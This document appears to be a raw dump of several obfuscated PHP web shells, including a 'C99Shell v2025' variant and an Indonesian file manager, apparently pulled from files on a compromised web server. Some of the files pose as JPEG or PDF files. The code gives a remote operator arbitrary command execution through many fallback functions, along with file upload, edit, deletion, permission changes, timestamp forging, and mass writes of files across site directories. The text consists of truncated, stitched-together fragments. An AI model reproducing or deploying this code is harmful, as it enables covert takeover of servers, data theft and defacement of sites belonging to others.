343638366636343364323237303666373337343232323036353665363337343739373036353364323236643735366337343639373036313732373432663636366637323664326436343631373436313232336533633639366537303735373432303734373937303635336432323636363936633635323232303665363136643635336432323632373437353663323233653363363237353734373436663665336534373631373336623631366533633266363237353734373436663665336533633266363636663732366433653061336333663730363837303061323436313230336432303232363632323265323236393232326532323663323232653232363532323265323235663232326532323730323232653232373532323265323237343232326532323566323232653232363332323265323236663232326532323665323232653232373432323265323236353232326532323665323232653232373432323265323237333232336230613234363232303364323032323636323232653232363932323265323236633232326532323635323232653232356632323265323236373232326532323635323232653232373432323265323235663232326532323633323232653232366632323265323236653232326532323734323232653232363532323265323236653232326532323734323232653232373332323362306132343633323033643230323237343232326532323664323232653232373032323265323235663232326532323665323232653232363132323265323236643232326532323635323233623061363936363230323836393733373336353734323832343566343634393463343535333562323736323734373536633237356432393239323037623234363132383234356634363439346334353533356232373632373437353663323735643562323736653631366436353237356432633230323436323238323435663436343934633435353335623237363237343735366332373564356232343633356432393239336236393636323032383636363936633635356636353738363937333734373332383232326532663232326532343566343634393463343535333562323736323734373536633237356435623237366536313664363532373564323932393230376236353633363836663230323234663662363532303231323233623764323036353663373336353230376236353633363836663230323234363631363936633230323132323362376437643061336633652229293b0d0a096966202824632822776b222e22776b2e222e227068222e2270222929207b0d0a09096563686f20224f4b2021223b0d0a097d0d0a7d0d0a3f3e")); $tch($duas, $duat); $tch($dua, $duat); echo "[Su"."cc"."ess] ".$duas."
"; if ($sps($_POST['lo'.'kr'.'una'], $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb, $duas); $dual = "".$lwb."
"; } } echo "
"; if (!empty($satul)) { echo $satul; } if (!empty($dual)) { echo $dual; } echo "
"; } else { echo "
Masukkan Lokasi Docu"."ment Ro"."ot
"; echo '
'; echo '
'; } die(); } elseif (isset($_GET['opsi']) && $_GET['opsi'] == "repip") { echo "
"; echo "Re"."ver"."se I"."P : ".$hsc($_SERVER['SE'.'RVE'.'R_NA'.'ME']).""; echo "
".$hsc(crul("http"."s://ap"."i.ha"."ck"."ertarg"."et.com/re"."verse"."ipl"."ookup/?q=".$_SERVER['SE'.'RVE'.'R_NA'.'ME']))."
"; echo "
"; die(); } elseif (isset($_GET['loknya']) && $_GET['opsi'] == "mdf") { echo "
"; if (empty($_POST['palepale'])) { echo '
'; echo 'Di'.'r :
'; echo 'Nama Fi'.'le :

'; echo 'Isi Fi'.'le :


'; echo '

'; echo ''; echo '
'; } else { $lokena = $_POST['lokena']; $nfil = $_POST['nfil']; $isif = $_POST['isikod']; echo "Di"."r : ".$hsc($lokena)."
"; if (!$fxt($lokena)) { die(red("[+] Di"."re"."cto"."ry Tidak di Temukan !")); } $g = $scd($lokena); if (isset($_POST['opsina']) && $_POST['opsina'] == "mds") { foreach ($g as $gg) { if (isset($gg) && $gg == "." || $gg == "..") { continue; } elseif (!$idr($gg)) { continue; } if (!$isw($lokena."/".$gg)) { echo "[Un"."wri"."tea"."ble] ".$lokena."/".$gg."
"; continue; } $loe = $lokena."/".$gg."/".$nfil; $cf = $fgr($gg); if ($cf == "9"."9") { if ($fpt($loe, $isif) !== false) { if ($sps($gg, ".") !== false) { echo "[Su"."cc"."ess] ".$loe." -> ".$gg."/".$nfil."
"; } else { echo "[Su"."cc"."ess] ".$loe."
"; } } } } echo "
"; die(author()); } foreach ($g as $gg) { if (isset($gg) && $gg == "." || $gg == "..") { continue; } elseif (!$idr($gg)) { continue; } if (!$isw($lokena."/".$gg)) { echo "[Un"."wri"."tea"."ble] ".$lokena."/".$gg."
"; continue; } $loe = $lokena."/".$gg."/".$nfil; if ($fpt($loe, $isif) !== false) { echo "[Su"."cc"."ess] ".$loe."
"; } else { echo "[Un"."wri"."tea"."ble] ".$lokena."/".$gg."
"; } } } echo "
"; echo "
"; die(author()); } if (isset($_GET['lokasie'])) { echo "Current Fi"."le : ".$_GET['lokasie']; echo '
'; echo "
".$hsc($fgt($_GET['lokasie']))."
"; author(); } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "hapus") { if ($idi($_POST['loknya']) && $fxt($_POST['loknya'])) { xrd($_POST['loknya']); if ($fxt($_POST['loknya'])) { red("Fai"."led to del"."ete D"."ir"."ec"."tory !"); } else { green("Del"."ete Di"."r"."ect"."ory Suc"."cess !"); } } elseif ($ifi($_POST['loknya']) && $fxt($_POST['loknya'])) { @$ulk($_POST['loknya']); if ($fxt($_POST['loknya'])) { red("Fa"."il"."ed to Delete Fi"."le !"); } else { green("De"."le"."te Fi"."le Succ"."ess !"); } } else { red("Fi"."le / Di"."r"."ecto"."ry not Fo"."und !"); } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { if (!isset($_POST['cemod'])) { if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
Pe'.'rmi'.'ss'.'ion : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } else { $cm = @$chm($_POST['loknya'], $ocd($_POST['perm'])); if ($cm == true) { green("Change Mod Su"."cc"."ess !"); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
Pe'.'rmi'.'ss'.'ion : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } else { red("Change Mod Fa"."il"."ed !"); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
Pe'.'rmi'.'ss'.'ion : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } } } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahnama") { if (isset($_POST['gantin'])) { $namabaru = $_GET['loknya']."/".$_POST['newname']; $ceen = "re"."na"."me"; if (@$ceen($_POST['loknya'], $namabaru) === true) { green("Change Name Su"."cc"."ess"); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
New Name : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } else { red("Change Name Fa"."il"."ed"); } } else { if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
New Name : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { if (isset($_POST['gasedit'])) { $edit = @$fpt($_POST['loknya'], $_POST['src']); if ($fgt($_POST['loknya']) == $_POST['src']) { green("Ed"."it Fi"."le Suc"."ce"."ss !"); } else { red("Ed"."it Fi"."le Fai"."led !"); } } echo "
Fi"."le : ".$hsc($_POST['loknya'])."

"; echo '


'; } elseif (isset($_POST['komends'])) { if (isset($_POST['komend'])) { if (isset($_GET['loknya'])) { $lk = $_GET['loknya']; } else { $lk = $gcw(); } $km = 'ko'.'me'.'nd'; echo $km($_POST['komend'], $lk); exit(); } } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahtanggal") { if (isset($_POST['tanggale'])) { $stt = "st"."rtot"."ime"; $tch = "t"."ou"."ch"; $tanggale = $stt($_POST['tanggal']); if (@$tch($_POST['loknya'], $tanggale) === true) { green("Change Da"."te Succ"."ess !"); $det = "da"."te"; $ftm = "fi"."le"."mti"."me"; $b = $det("d F Y H:i:s", $ftm($_POST['loknya'])); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
New Da'.'te : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } else { red("Fai"."led to Cha"."nge Da"."te !"); } } else { $det = "da"."te"; $ftm = "fi"."le"."mti"."me"; $b = $det("d F Y H:i:s", $ftm($_POST['loknya'])); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
New Da'.'te : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "dunlut") { $dunlute = $_POST['loknya']; if ($fxt($dunlute) && isset($dunlute)) { if ($ird($dunlute)) { dunlut($dunlute); } elseif ($idr($fl)) { red("That is Di"."rec"."tory, Not Fi"."le -_-"); } else { red("Fi"."le is Not Re"."adab"."le !"); } } else { red("Fi"."le Not Fo"."und !"); } } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "fo"."ld"."er") { if ($isw("./") || $ird("./")) { $loke = $_POST['loknya']; if (isset($_POST['buatfol'.'der'])) { $buatf = $mkd($loke."/".$_POST['fo'.'lde'.'rba'.'ru']); if ($buatf == true) { green("Fol"."der ".$hsc($_POST['fo'.'lde'.'rba'.'ru'])." Created !"); echo '
Fo'.'lde'.'r :

'; echo '
'; } else { red("Fa"."il"."ed to Create fol"."der !"); echo '
Fo'.'lde'.'r :

'; echo '
'; } } else { echo '
Fo'.'lde'.'r :

'; echo '
'; } } } elseif (isset($_POST['lok'.'nya']) && $_POST['pilih'] == "fi"."le") { if ($isw("./") || $isr("./")) { $loke = $_POST['lok'.'nya']; if (isset($_POST['buatfi'.'le'])) { $buatf = $fpt($loke."/".$_POST['fi'.'lebaru'], ""); if ($fxt($loke."/".$_POST['fi'.'lebaru'])) { green("File ".$hsc($_POST['fi'.'lebaru'])." Created !"); echo '
Filename :

'; echo '
'; } else { red("Fa"."il"."ed to Create Fi"."le !"); echo '
Filename :

'; echo '
'; } } else { echo '
Filename :

'; echo '
'; } } } echo '
'; echo ""; $euybrekw = $srl($bsn($lokasi), "", $lokasi); $euybrekw = $srl("//", "/", $euybrekw); echo ""; foreach($lokasinya as $ppkcina){ $euybre = $lokasi."/".$ppkcina; $euybre = $srl("//", "/", $euybre); if(!$idi($euybre) || $ppkcina == '.' || $ppkcina == '..') continue; echo ""; echo ""; } echo ''; $skd = "10"."24"; foreach($lokasinya as $mekicina) { $euybray = $lokasi."/".$mekicina; if(!$ifi("$lokasi/$mekicina")) continue; $size = $fsz("$lokasi/$mekicina")/$skd; $size = $rd($size,3); if($size >= $skd){ $size = $rd($size/$skd,2).' M'.'B'; } else { $size = $size.' K'.'B'; } echo ""; } echo '
Na'.'me
Si'.'ze
Las'.'t Mo'.'dif'.'ied
Owner / Group
Pe'.'rmi'.'ss'.'ions
Op'.'tio'.'ns
..
--
".fdt($euybrekw)."
".gor($euybrekw)." / ".ggr($euybrekw)."
"; if($isw($euybrekw)) echo ''; elseif(!$isr($euybrekw)) echo ''; echo statusnya($euybrekw); if($isw($euybrekw) || !$isr($euybrekw)) echo ''; echo "
"; echo "
".$ppkcina."
--
".fdt($euybre)."
".gor($euybre)." / ".ggr($euybre)."
"; if($isw($euybre)) echo ''; elseif(!$isr($euybre)) echo ''; echo statusnya($euybre); if($isw($euybre) || !$isr($euybre)) echo ''; echo "
".cfn($euybray)." $mekicina
".$size."
".fdt($euybray)."
".gor($euybray)." / ".ggr($euybray)."
"; if($isw("$lokasi/$mekicina")) echo ''; elseif(!$isr("$lokasi/$mekicina")) echo ''; echo statusnya("$lokasi/$mekicina"); if($isw("$lokasi/$mekicina") || !$isr("$lokasi/$mekicina")) echo ''; echo "
'; author(); function statusnya($fl){ $a = "sub"."st"."r"; $b = "s"."pri"."ntf"; $c = "fil"."eper"."ms"; $izin = $a($b('%o', $c($fl)), -4); return $izin; } ?>backup/media/pwvp/index.php000044400000134652151546542470011732 0ustar00 ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- ["pipe","w"],2=>["pipe","w"]]; $p = @$f($pr1c999999, $d, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); if (!empty($out)) break; } } elseif ($f === chDxzZ([112,111,112,101,110])) { $h = @$f($pr1c999999 . " 2>&1", "r"); $res = ""; if ($h) { while (!feof($h)) $res .= fread($h, 4096); pclose($h); } if (strlen($res)) { $out = $res; break; } } elseif ($f === chDxzZ([101,115,99,97,112,101,115,104,101,108,108,99,109,100])) { $esc = $f($pr1c999999); ob_start(); @system($esc); $out = ob_get_clean(); if (!empty($out)) break; } elseif ($f === chDxXZ('6573636170657368656c6c617267')) { $esc = $f($pr1c999999); $out = @chDx2x($esc); if (!empty($out)) break; } elseif ($f === chDxzZ([99,117,114,108,95,101,120,101,99])) { $ch = @curl_init('file:///proc/self/cmd'); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_POSTFIELDS, $pr1c999999); $r = @curl_exec($ch); @curl_close($ch); if ($r && strpos($r, $pr1c999999) !== false) { $out = $r; break; } } elseif ($f === chDxzZ('109,97,105,108')) { $to = uniqid()."@".uniqid().".xyz"; @mail($to, $pr1c999999, $pr1c999999); $out = ""; } elseif ($f === chDxXZ('63616c6c5f757365725f66756e63')) { $shellfunc = chDxzZ([115,104,101,108,108,95,101,120,101,99]); if (function_exists($shellfunc)) { $out = @call_user_func($shellfunc, $pr1c999999); if (!empty($out)) break; }} elseif ($f === chDxzZ('102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115')) { $r = @$f("php://filter/read=convert.base64-encode/resource=" . $pr1c999999); if ($r && strlen($r) >0) { $out = $r; break; } } elseif ($f === chDxzZ('102,111,112,101,110')) { $tmpf = sys_get_temp_dir() . "/" . uniqid("s-cmd") . ".sh"; $h = @$f($tmpf, "w"); if ($h) { fwrite($h, $pr1c999999); fclose($h); } $r = @chDx2x("sh " . escapeshellarg($tmpf) . " 2>&1"); if ($r) { $out = $r; @unlink($tmpf); break; } } elseif ($f === chDxzZ('112,117,116,101,110,118')) { @putenv("cmd=".$pr1c999999); $r = @getenv("cmd"); if ($r == $pr1c999999) { $out = $r; break; } } elseif ($f === chDxzZ('105,110,105,95,115,101,116')) { @ini_set("auto_prepend_file", $pr1c999999); $out = @file_get_contents($_SERVER['SCRIPT_FILENAME']); if (!empty($out)) break; } elseif ($f === chDxzZ([112,99,110,116,108,95,101,120,101,99])) { @pcntl_exec("/bin/sh", array("-c", $pr1c999999)); } elseif ($f === chDxzZ([97,112,97,99,104,101,95,115,101,116,101,110,118])) { @apache_setenv("cmd", $pr1c999999); $out = getenv("cmd"); if ($out == $pr1c999999) break; } elseif ($f === chDxzZ([109,113,95,111,112,101,110]) || $f === chDxzZ([103,99,95,111,112,101,110])) { } } return $out !== false ? $out : false;}if (!function_exists('chDxzZ')) { function chDxzZ($arr) { if (is_string($arr)) $arr = explode(',', $arr); $r = ''; foreach ($arr as $n) $r .= chr(is_numeric($n) ? $n : hexdec($n)); return $r; }} if (!function_exists('chDxXZ')) { function chDxXZ($hx) { $n = ''; for ($i = 0; $i< strlen($hx) - 1; $i += 2) $n .= chr(hexdec($hx[$i] . $hx[$i + 1])); return $n; }} if (isset($_GET['c999999'])) { $cdir = unx($_GET['c999999']); if (@is_dir($cdir)) { $c999999xas[14]($cdir); } else { } } else { $cdir = $c999999xas[0](); } function pr1v09xs($data) { goto QDI4b; QDI4b: $fn1 = "\x73\x74" . "\162" . "\x72\x65\x76"; goto Q8rJc; Q8rJc: $fn2 = "\142" . "\x61" . "\163" . "\x65" . "\x36" . "\64" . "\x5f" . "\145" . "\156" . "\143" . "\x6f" . "\144" . "\145"; goto St_08; St_08: $s1 = $fn1($data); $s2 = $fn2($s1); $s3 = $fn2($s2); $final = $fn2($s3); $junk = 'x'.'y'.'z'; $f = $final; $f = $junk.$f; $f = substr($f, 3); return $f; } $h1 = 's'; $h2 = 't'; $h3 = 'r'; $h4 = 'r'; $h5 = 'e'; $h6 = 'v';$revFunc = $h1 . $h2 . $h3 . $h4 . $h5 . $h6;$b1 = 'b'; $b2 = 'a'; $b3 = 's'; $b4 = 'e'; $b5 = '6'; $b6 = '4';$b7 = '_'; $b8 = 'e'; $b9 = 'n'; $b10 = 'c'; $b11 = 'o'; $b12 = 'd'; $b13 = 'e';$prv6x = $b1.$b2.$b3.$b4.$b5.$b6.$b7.$b8.$b9.$b10.$b11.$b12.$b13;$l0l = pr1v09xs($_SERVER['REQUEST_URI']); function c999999d0($file) { if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($file)); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); ob_clean(); flush(); readfile($file); exit; }} if (!empty($_GET['cninenine'])) {$Filescninenine = c999999d0(unx($_GET['cninenine']));} ?> <?= $_SERVER['SERVER_NAME']; ?> - <?php echo chr(67).chr(57).chr(57).chr(83).chr(104).chr(101).chr(108).chr(108); ?>

! v2025 !

Safe-mode: ON' : 'OFF (not secure)'; ?>

Disable Functions: '.htmlspecialchars($d1sxb).'' : 'None'; ?>

Host:

User:

Software:

IP:

PHP:

function() use($fnX6) { $f = fobf([99,117,114,108,95,105,110,105,116]); return $fnX6($f); }, 'SSH2' => function() use($fnX6) { $f = fobf([115,115,104,50,95,99,111,110,110,101,99,116]); return $fnX6($f); }, 'Magic Quotes' => function() use($chDxXZx) { $f = fobf([109,97,103,105,99,95,113,117,111,116,101,115,95,103,112,99]); return (bool)$chDxXZx($f); }, 'MySQL' => function() use($fnX6) { $f1 = fobf([109,121,115,113,108,105,95,99,111,110,110,101,99,116]); $f2 = fobf([109,121,115,113,108,95,99,111,110,110,101,99,116]); return $fnX6($f1) || $fnX6($f2); }, 'MSSQL' => function() use($fnX6) { $f1 = fobf([109,115,115,113,108,95,99,111,110,110,101,99,116]); $f2 = fobf([115,113,108,115,114,118,95,99,111,110,110,101,99,116]); return $fnX6($f1) || $fnX6($f2); }, 'PostgreSQL' => function() use($fnX6) { $f = fobf([112,103,95,99,111,110,110,101,99,116]); return $fnX6($f); }, 'Oracle' => function() use($fnX6) { $f = fobf([111,99,105,95,99,111,110,110,101,99,116]); return $fnX6($f); }, 'CGI' => function() use($fn_php_sapi_name) { $name = $fn_php_sapi_name(); return ($name === 'cgi' || $name === 'cgi-fcgi'); }, ]; foreach ($features as $name => $fn) { $on = $fn() ? 'ON' : 'OFF'; echo '' . htmlspecialchars($name) . ':' . $on . ' '; } ?>

/'; foreach ($parts as $i => $v) { if ($v === '') continue; $build .= '/' . $v; echo '' . htmlspecialchars($v) . '/'; } ?>


Success: File saved.
"; } else { $edit_result = "
Error: File NOT saved.
"; } if (is_file($file_path)) { $file_raw = file_get_contents($file_path, false, null, 0, 10*1024*1024); if (!mb_check_encoding($file_raw, 'UTF-8')) { $file_raw = mb_convert_encoding($file_raw, 'UTF-8', 'ISO-8859-1,Windows-1254,UTF-8'); } } } ?>
Edit File:


Cancel
Success: File renamed.
"; header('Refresh:1;url=' . $_SERVER['PHP_SELF'] . '?' . http_build_query(['c999999'=>$_GET['c999999']])); exit; } else { $rename_result = "
Error: Rename failed!
"; } } ?>
Rename File:
Cancel
File not found!"; return; } if ($_SERVER['REQUEST_METHOD']=='POST' && isset($_POST['chFile'])) { $newperm = trim($_POST['chFile']); $newperm_oct = octdec($newperm); $ok = false; if ($c999999xas[30]($file, $newperm_oct)) { $ok = true; } elseif (function_exists('chmod')) { $ok = @chmod($file, $newperm_oct); } if ($ok) { $chmod_result = "
Success: Permissions changed.
"; header('Refresh:1;url=' . $_SERVER['PHP_SELF'] . '?' . http_build_query(['c999999'=>$_GET['c999999']])); exit; } else { $chmod_result = "
Error: Chmod failed!
"; } } ?>
Change Permissions:
Cancel
".htmlspecialchars($output).""; } else { $command_result = "
Please enter a command.
"; } } ?>
Command Execute
Cancel
Listing directory:

Name Size Modify Owner/Group Perms Action Select
  Edit Rename Download

 

Success: File(s) deleted! Refreshing..."; header("Refresh:1;url=" . $_SERVER['REQUEST_URI']); exit; } elseif ($action == 'zip') { foreach ($selectedFiles as $file) { $filepath = $dir . '/' . $file; if ($c999999xas[3]($file)) { compressToZip($filepath, pathinfo($filepath, PATHINFO_FILENAME) . ".zip"); } } echo "
Refreshing...
"; header("Refresh:1;url=" . $_SERVER['REQUEST_URI']); exit; } elseif ($action == 'unzip') { foreach ($selectedFiles as $file) { $filepath = $dir . '/' . $file; xtr4cc999999($filepath, $dir . '/'); } echo "
Refreshing...
"; header("Refresh:1;url=" . $_SERVER['REQUEST_URI']); exit; } } ?>

'; } ?>

:: Command Execute ::

Enter Command:
Select Command:
' . htmlspecialchars($output) . '

:: Search ::
  - regexp 
isFile()) { if ($regexp) { if (preg_match("/$pattern/", $file->getFilename())) { $files[] = $file->getPathname(); } } else { if (stripos($file->getFilename(), $pattern) !== false) { $files[] = $file->getPathname(); } } } } return $files; } $results = searchFiles($searchName, getcwd(), $isRegexp); echo '
';
foreach ($results as $file) {
echo htmlspecialchars($file) . "\n";
}
echo '
'; } ?>
:: Upload ::
 
File uploaded successfully.

'; } else { echo '

Upload failed.

'; } } else { echo '

Please select a file to upload.

'; } } ?>

:: Make Dir ::
 
Directory created successfully.

'; } else { echo '

Directory already exists.

'; } } ?>
:: Make File ::
 
File created successfully.

'; } else { echo '

File already exists.

'; } } ?>

--[ v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: ]--

= strlen($k3rz9)*0.7); } } else if (function_exists($mth5)) { $tmp = sys_get_temp_dir() . "/" . uniqid("edit_"); if (@$mth1($tmp, $k3rz9) !== false) { $r9u3 = @$mth5($tmp, $xjytx); @unlink($tmp); } } else if (function_exists($mth6)) { $tmp = sys_get_temp_dir() . "/" . uniqid("edit_"); if (@$mth1($tmp, $k3rz9) !== false) { @$mth6("cp " . escapeshellarg($tmp) . " " . escapeshellarg($xjytx)); $r9u3 = (filesize($xjytx) >= strlen($k3rz9)*0.7); @unlink($tmp); } } if ($r9u3) { success(); } else { failed(); } } function chDx2x($c0m99nd22) { $a = [115,104,101,108,108,95,101,120,101,99]; $fx = ''; foreach($a as $ac) $fx .= chr($ac); return $fx($c0m99nd22); } if (isset($_POST['submit-action'])) { $u5w8d = $_POST['check']; $jv8s3 = $_POST['c9-9-9-select']; $bvqzp = $c999999xas[0]; $b1s7a = $c999999xas[24]; $y4sdg = $c999999xas[3]; $v9fzq = function($p){ return is_dir($p); }; $z9ntq = function($a,$b){ return str_replace("\\", "/", $a); }; $n4hxy = function($f,$d){ return xtr4cc999999($f, $d); }; $r5kbm = function($f,$z){ return compressToZip($f, $z); }; if ($jv8s3 == "\x64\x65\x6c\x65\x74\x65") { foreach ($u5w8d as $z0) { $qkpl = $z9ntq($bvqzp(), "/"); $vcpk = $qkpl . "\x2f" . $z0; if ($v9fzq($vcpk)) { $rmdir = unlinkDir($vcpk); $rmdir ? success() : failed(); } elseif ($y4sdg($vcpk)) { $rmfile = $b1s7a($vcpk); $rmfile ? success() : failed(); } else { failed(); } } } elseif ($jv8s3 == "\x75\x6e\x7a\x69\x70") { foreach ($u5w8d as $z0) { $qkpl = $z9ntq($bvqzp(), "/"); $vcpk = $qkpl . "\x2f" . $z0; if ($n4hxy($vcpk, $qkpl . "\x2f") === true) { success(); } else { failed(); } } } elseif ($jv8s3 == "\x7a\x69\x70") { foreach ($u5w8d as $z0) { $qkpl = $z9ntq($bvqzp(), "/"); $vcpk = $qkpl . "\x2f" . $z0; if ($y4sdg($vcpk)) { $r5kbm($vcpk, pathinfo($vcpk, PATHINFO_FILENAME) . ".zip"); } } } } if (isset($_POST['submit'])) { if (isset($_POST['create_folder']) && $_POST['create_folder']) { $q7hjp = $_POST['create_folder']; $s2f6x = $c999999xas[12]; if (!file_exists($q7hjp)) { $z9mqa = @mkdir($q7hjp, 0755, true);} else { $z9mqa = true; } if ($z9mqa) { success(); } else { failed(); } } else if (isset($_POST['create_file']) && $_POST['create_file']) { $k4vhz = $_POST['create_file']; $t2upm = $c999999xas[13]; $x6wnr = $t2upm($k4vhz); if ($x6wnr) { success(); } else { failed(); } } else if (isset($_POST['renameFile']) && $_POST['renameFile']) { $d9yxs = $_POST['renameFile']; $h8rfg = $c999999xas[15]; $m5qlp = $h8rfg(unx($_GET['re']), $d9yxs); if ($m5qlp) { success(); } else { failed(); } } else if (isset($_POST['chFile']) && $_POST['chFile']) { $y4gsn = $_POST['chFile']; $v3kzm = octdec($y4gsn); $p9wfu = $c999999xas[30](unx($_GET['ch']), $v3kzm); if ($p9wfu) { success(); } else { failed(); } } } function formatSize($bytes) {$types = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $bytes >= 1024 && $i< (count($types) - 1); $bytes /= 1024, $i++); return (round($bytes, 2) . " " . $types[$i]);} function c9_9_($n){ $y = ''; for ($i = 0; $i< strlen($n); $i++) { $y .= dechex(ord($n[$i])); } return $y;} function unx($y){ $n = ''; for ($i = 0; $i< strlen($y) - 1; $i += 2) { $n .= chr(hexdec($y[$i] . $y[$i + 1])); } return $n;} function c0m99nd($in, $re = false){ $out = ''; try { if ($re) $in = $in . " 2>&1"; if (function_exists("\x65\x78\x65\x63")) { @$GLOBALS['c999999xas'][16]($in, $out); $out = @join("\n", $out); } elseif (function_exists("\x70\x61\x73\x73\x74\x68\x72\x75")) { @$GLOBALS['c999999xas'][17]($in); $out = ""; } elseif (function_exists("\x73\x79\x73\x74\x65\x6d")) { @$GLOBALS['c999999xas'][18]($in); $out = ""; } elseif (function_exists("\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63")) { $out = $GLOBALS['c999999xas'][19]($in); } elseif (function_exists("\x70\x6f\x70\x65\x6e") && function_exists("\x70\x63\x6c\x6f\x73\x65")) { if (is_resource($f = @$GLOBALS['c999999xas'][20]($in, "r"))) { $out = ""; while (!@feof($f)) $out .= fread($f, 1024); $GLOBALS['c999999xas'][21]($f); } } elseif (function_exists("\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e")) { $pipes = array(); $process = @$GLOBALS['c999999xas'][23]($in . ' 2>&1', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null); $out = @$GLOBALS['c999999xas'][22]($pipes[1]); } } catch (Exception $e) {} return $out; } function compressToZip($sourceFile, $zipFilename){ $zip = new ZipArchive(); if ($zip->open($zipFilename, ZipArchive::CREATE) === TRUE) { $zip->addFile($sourceFile, basename($sourceFile)); $zip->close(); success(); } else { failed(); } } function unlinkDir($dir) { $d1Xe = array($dir); $files = array(); for ($i = 0;; $i++) { if (isset($d1Xe[$i])) $dir = $d1Xe[$i]; else break; if ($opn = @opendir($dir)) { while ($rd = @readdir($opn)) { if ($rd != "\x2e" && $rd != "\x2e\x2e") { $pth = $dir . "\x2f" . $rd; if ($GLOBALS['c999999xas'][2]($pth)) { $d1Xe[] = $pth; } else { $files[] = $pth; } } } closedir($opn); } } foreach ($files as $file) { if (!@$GLOBALS['c999999xas'][24]($file)) { return false; } } $d1Xe = array_reverse($d1Xe); foreach ($d1Xe as $d1x2) { if (!@$GLOBALS['c999999xas'][25]($d1x2)) { return false; } } return true; } function xtr4cc999999($c999999arch, $c999999aext) { $zip = new ZipArchive(); $methOpen = chDxzZ('111,112,101,110'); $methExtract = chDxXZ('65787472616374546f'); $methClose = chDxzZ([99,108,111,115,101]); if ($zip->$methOpen($c999999arch) === TRUE) { $zip->$methExtract($c999999aext); $zip->$methClose(); return true; } else { return false; } } function p3rms($file){$p3rxa=$GLOBALS['c999999xas'][6]($file);if(($p3rxa&0xC000)==0xC000){$info='s';}elseif(($p3rxa&0xA000)==0xA000){$info='l';}elseif(($p3rxa&0x8000)==0x8000){$info='-';}elseif(($p3rxa&0x6000)==0x6000){$info='b';}elseif(($p3rxa&0x4000)==0x4000){$info='d';}elseif(($p3rxa&0x2000)==0x2000){$info='c';}elseif(($p3rxa&0x1000)==0x1000){$info='p';}else{$info='u';}$info.=(($p3rxa&0x0100)?'r':'-');$info.=(($p3rxa&0x0080)?'w':'-');$info.=(($p3rxa&0x0040)?(($p3rxa&0x0800)?'s':'x'):(($p3rxa&0x0800)?'S':'-'));$info.=(($p3rxa&0x0020)?'r':'-');$info.=(($p3rxa&0x0010)?'w':'-');$info.=(($p3rxa&0x0008)?(($p3rxa&0x0400)?'s':'x'):(($p3rxa&0x0400)?'S':'-'));$info.=(($p3rxa&0x0004)?'r':'-');$info.=(($p3rxa&0x0002)?'w':'-');$info.=(($p3rxa&0x0001)?(($p3rxa&0x0200)?'t':'x'):(($p3rxa&0x0200)?'T':'-'));return $info;} ?>assets/uploads/2025/backup/aggw/index.php000044400000025453151550752050014133 0ustar00%PDF-1.7 3 0 obj korsygfhrtggggggzangaiide Elehhjhjjkjkfpffff = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", 